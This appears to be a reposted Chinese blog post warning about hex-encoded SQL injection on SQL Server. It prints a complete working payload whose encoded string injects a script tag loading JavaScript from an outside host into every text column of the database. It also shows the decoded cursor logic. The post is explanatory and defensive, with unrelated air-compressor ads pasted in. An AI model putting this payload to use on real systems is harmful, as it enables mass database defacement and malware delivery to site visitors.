警惕采用编码过的SQL恶意注入
2009-11-05 13:18
507 查看
警惕采用编码过的SQL恶意注入 (转自:http://www.cnblogs.com/micheng11/archive/2009/07/29/1533876.html) 现在很多网站发现SQL注入攻击,黑客把SQL语句转换成了16进制后就可以逃避我们平时很多的防注入检测了声明了个 @s,使用了编码的方式把sql语句变成一大串“乱七八糟”(16进制)的东西,然后通过exec可以执行“动态”SQL的特性运行脚本。还逃避了对关键字字符串的检查。一般来说最终注入代码都类似于如下片段(SQL Server 2000/2005):dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72 eXeC(@s);-- 到SQL后台执行时就是下面语句(可以在SQL查询窗口把上面语句最后的 exec(@s);改成 select @s试试看,结果就是下面语句): Declare @T Varchar(255),@C Varchar(255) Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''''')Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor Deallocate Table_Cursor可以看出这种SQL注入就是利用表名sysobjects,syscolumns这两个系统表来进行遍历的。运行后库中的每个表的每条记录都会加上这段脚本,脚本内容是这样的document.writeln(" "); document.writeln("
----------------------------------------------------------------------------------------------------------------------------------------------------
销售聚才空压机--有需要请点击“龙华空压机”http://china.nowec.com/supply/detail/14644381.html
1.深圳龙华空压机维修保养 ,2。龙华空压机销售维修保养
-----------------------------------------------------------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------------------------------------------------
销售聚才空压机--有需要请点击“龙华空压机”http://china.nowec.com/supply/detail/14644381.html
1.深圳龙华空压机维修保养 ,2。龙华空压机销售维修保养
-----------------------------------------------------------------------------------------------------------------------------------------------------
相关文章推荐
- 警惕采用编码过的SQL恶意注入
- 【Mysql sql inject】POST方法BASE64编码注入write-up
- 防范 SQL 注入,需要采用PreparedStatement取代Statement。
- 防范 SQL 注入,需要采用PreparedStatement取代Statement
- 批量删除sql中被注入的恶意代码
- 分享一个PHP PDO 的工具类,采用预编译有效防止SQL注入
- SQL防注入-----恶意或者说是非法的SQL参数过滤 !
- 如何防止sql恶意注入
- 网站数据库被SQL注入后清除script恶意病毒代码的方法
- SQL中批量删除被注入的恶意代码的方法
- java 避免不同库使用left join查询速率低效 采用 sql 注入foreach 遍历list查询方式
- Belkatalog CMS SQL 注入漏洞(图)
- T-Sql 编码标准
- Web攻防之SQL注入,XSS,CSRF
- 最详细的SQL注入相关的命令整理
- as3中的socket的readUTFBytes方法,它的UTF指的是UTF-8,只要服务器采用UTF-8编码,传输和修改中文的问题就能解决
- 最详细的SQL注入相关的命令整理
- ASP.NET Security Hacks—Avoiding SQL Injection(SQL 注入)
- 解决并清除SQL被注入<script>恶意病毒代码的语句
- 关于sql 注入 一点拙解